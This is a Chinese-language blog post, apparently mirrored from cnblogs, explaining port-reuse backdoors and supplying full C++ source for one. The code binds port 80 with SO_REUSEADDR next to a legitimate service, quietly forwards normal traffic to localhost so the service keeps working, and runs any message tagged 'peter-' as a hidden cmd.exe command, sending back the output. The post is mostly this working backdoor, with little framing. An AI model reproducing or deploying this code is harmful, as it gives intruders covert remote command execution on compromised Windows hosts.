zoukankan      html  css  js  c++  java
  • 安全之路 —— 利用端口复用技术隐藏后门端口

    简介

    前面我们介绍到我们可以用进程注入的方法,借用其他应用的端口收发信息,从而达到穿墙的效果,那么今天介绍一种新的方法,叫做端口复用技术,他能够与其他应用绑定同一个端口,但同时进行端口复用的程序会接管之前程序的信息接受权,所以我们在复用端口后,要对非后门信息通过127.0.0.1本机回环地址进行消息转发。

    C++代码样例

    /////////////////////////////////////////
    //
    // FileName : ReUseSocket.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-31 17:54
    // Comment : 端口复用后门(单管道)
    // Editor : Visual Studio 2017
    //
    /////////////////////////////////////////
    
    
    /***************************************************************/
    /*  注:WSASocket初始化的Socket无法通过setsockopt函数设置接收超时 */
    /***************************************************************/
    
    #include <cstdio>
    #include <cstdlib>
    #include <iostream>
    #include <cstring>
    #include <strsafe.h>
    #include <WinSock2.h>
    #include <winsock.h>
    #include <windows.h>
    
    #pragma comment(lib, "ws2_32")
    
    using namespace std;
    
    #pragma once
    #define MAX_COUNT 255       //字符串最大长度
    #define MAX_CONN_COUNT 1024 //最大连接数
    
    typedef struct ThreadParam {  //SocketProc多线程结构体
        SOCKET sClient;
        sockaddr_in addr;
    }tP;
    
    const DWORD dwPort = 80;                        //端口号
    const CHAR szTagContent[MAX_COUNT] = "peter-";  //连接标识
    const DWORD dwTagLength = (size_t)strlen(szTagContent); // 连接标识长度
    
    
    /**
     * @brief 字符串切片
     * @param str1 源字符串
     * @param str2 结果字符串
     * @param dwBeginCount 数组下标起始值
     * @param dwEndCount 数组下标的最终值(取到前一位)
     */
    VOID StringCut(LPCSTR str1, LPSTR str2, DWORD dwBeginCount, DWORD dwEndCount)
    {
        if (strlen(str1) > MAX_COUNT || dwBeginCount >= dwEndCount || dwBeginCount >= 255 || dwEndCount > 255)
        {
            return;
        }
        for (DWORD i = dwBeginCount, j = 0; i < dwEndCount, j < MAX_COUNT; i++, j++)
        {
            str2[j] = str1[i];
        }
        return;
    }
    
    /**
     * @brief 管道数据监控
     * @param sClient 客户端Socket对象
     * @param hOutputPipe 输出管道
     */
    VOID DataMonitor(SOCKET sClient, HANDLE hOutputPipe)
    {
        DWORD dwTotalAvail = 0;
        DWORD dwReadLength = 0;
        CHAR pipeBuffer[MAX_COUNT*MAX_COUNT] = "";
        ReadFile(hOutputPipe, pipeBuffer, sizeof(pipeBuffer), &dwReadLength, NULL);
        send(sClient, pipeBuffer, (size_t)strlen(pipeBuffer), 0);
        ZeroMemory(pipeBuffer, sizeof(pipeBuffer));
        return;
    }
    
    /**
     * @brief 打开Shell
     * @param sClient 客户端Socket对象
     * @param szRecvBuffer 字符串接收缓冲区
     */
    VOID StartShell(SOCKET sClient, LPCSTR szRecvBuffer)
    {
        HANDLE hInputPipe, outputPipe;
        CHAR szCmdLine[MAX_COUNT] = "";
        CHAR szSendData[MAX_COUNT] = "";
        if (strlen(szRecvBuffer) <= dwTagLength)
        {
            send(sClient, "None", 5, 0);
            return;
        }
        StringCut(szRecvBuffer, szCmdLine, dwTagLength, (size_t)strlen(szRecvBuffer));
        SECURITY_ATTRIBUTES sa;
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;
        CreatePipe(&outputPipe, &hInputPipe, &sa, 0);
        Sleep(200);
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        GetStartupInfo(&si);
        si.hStdError = hInputPipe;
        si.hStdOutput = hInputPipe;
        si.wShowWindow = SW_HIDE;
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        GetSystemDirectory(szSendData, sizeof(szSendData));
        StringCchCat(szSendData, sizeof(szSendData), "\cmd.exe /c ");
        StringCchCat(szSendData, sizeof(szSendData), szCmdLine);
        CreateProcess(NULL, szSendData, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
        WaitForSingleObject(pi.hProcess, 10000); //最迟等待10秒后返回,防止命令无回显情况发生
        DataMonitor(sClient, outputPipe);
        return;
    }
    
    /**
     * @brief 客户端Socket处理
     * @param lpParam ThreadParam参数结构体
     */
    DWORD WINAPI SocketProc(LPVOID lpParam)
    {
        SOCKET sClient = ((tP*)lpParam)->sClient;
        CHAR szRecvBuffer[MAX_COUNT * 10] = "";
        SOCKET sNative;
        sockaddr_in saiNativeAddr;
        CHAR szTip[] = "
    PeterBD>";
        struct timeval optNativeValue;
        saiNativeAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
        saiNativeAddr.sin_family = AF_INET;
        saiNativeAddr.sin_port = htons(dwPort);
        sNative = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sNative == INVALID_SOCKET)
        {
            closesocket(sClient);
            return 0;
        }
        optNativeValue.tv_sec = 1;
        optNativeValue.tv_usec = 0;
        if (setsockopt(sNative, SOL_SOCKET, SO_RCVTIMEO, (CHAR*)&optNativeValue, sizeof(optNativeValue)) == SOCKET_ERROR)  //设置接收超时
        {
            closesocket(sClient);
            closesocket(sNative);
            return 0;
        }
        if (connect(sNative, (struct sockaddr*)&saiNativeAddr, sizeof(saiNativeAddr)) == SOCKET_ERROR && WSAGetLastError() != WSAECONNREFUSED) //防止对方为打开复用目标端口,导致无法数据转发
        {
            closesocket(sClient);
            closesocket(sNative);
            return 0;
        }
        while (TRUE)
        {
            send(sClient, szTip, (size_t)strlen(szTip), 0);
            ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
            DWORD ret = recv(sClient, szRecvBuffer, sizeof(szRecvBuffer), 0);
            if (ret == SOCKET_ERROR)
            {
                break;
            }
            if (strncmp(szRecvBuffer, szTagContent, dwTagLength) == 0)
            {
                StartShell(sClient, szRecvBuffer);
                continue;
            }
            send(sNative, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
            ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
            recv(sNative, szRecvBuffer, sizeof(szRecvBuffer), 0);
            if (strlen(szRecvBuffer))
            {
                send(sClient, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
            }
        }
        closesocket(sClient);
        closesocket(sNative);
        return 0;
    }
    
    /**
     * @brief 主函数
     */
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
        WSADATA wsd;
        SOCKET sServer;
        sockaddr_in saiServerAddr;
        in_addr iaTempAddr;
        tP *tp[MAX_CONN_COUNT];
        HANDLE hThreadPool[MAX_CONN_COUNT];
        int connCount = 0;
        int s_ClientAddrSize = 0;
        CHAR szHostName[MAX_COUNT] = "";
        if (WSAStartup(0x0202, &wsd))
        {
            return 0;
        }
        gethostname(szHostName, sizeof(szHostName));
        HOSTENT *hostInfo = gethostbyname(szHostName);
        saiServerAddr.sin_family = AF_INET;
        saiServerAddr.sin_port = htons(dwPort);
        memcpy(&iaTempAddr.S_un.S_addr, hostInfo->h_addr_list[0], hostInfo->h_length); //监听第一张网卡ip,如果必要的话,可以切换网卡或自定义本地ip
        saiServerAddr.sin_addr.S_un.S_addr = iaTempAddr.S_un.S_addr;
        sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, NULL, 0);
        int dwOptVal = 1;
        if (setsockopt(sServer, SOL_SOCKET, SO_REUSEADDR, (CHAR*)&dwOptVal, sizeof(dwOptVal)) == SOCKET_ERROR) //设置为端口复用模式
        {
            return 0;
        }
        if (bind(sServer, (struct sockaddr*)&saiServerAddr, sizeof(saiServerAddr)) == SOCKET_ERROR)
        {
            return 0;
        }
        if (listen(sServer, SOMAXCONN) == SOCKET_ERROR)
        {
            return 0;
        }
        while (connCount < MAX_CONN_COUNT)
        {
            tp[connCount] = (tP*)malloc(sizeof(tP));
            s_ClientAddrSize = sizeof(tp[connCount]->addr);
            tp[connCount]->sClient = accept(sServer, (struct sockaddr*)&(tp[connCount]->addr), &s_ClientAddrSize);
            hThreadPool[connCount] = CreateThread(NULL, 0, SocketProc, (LPVOID)tp[connCount], 0, NULL);
            connCount++;
        }
        WaitForMultipleObjects(connCount, hThreadPool, true, INFINITE);
        for (int i = 0; i < connCount; i++)
        {
            CloseHandle(hThreadPool[i]);
            closesocket(tp[i]->sClient);
        }
        closesocket(sServer);
        WSACleanup();
        ExitProcess(0);
        return 0;
    }
  • 相关阅读:
    C++ 注意事项
    Google protocol buffer的配置和使用(Linux&&Windows)
    网络编程的一些错误总结
    C++单例模式设计与实现
    TCP粘包处理
    C++ 局部静态变量,全局变量,全局静态变量,局部变量的区别和联系
    C++模板类注意事项
    Django框架(二十二)—— Django rest_framework-频率组件
    Django框架(二十一)—— Django rest_framework-权限组件
    Django框架(二十)—— Django rest_framework-认证组件
  • 原文地址:https://www.cnblogs.com/csnd/p/12897008.html
Copyright © 2011-2022 走看看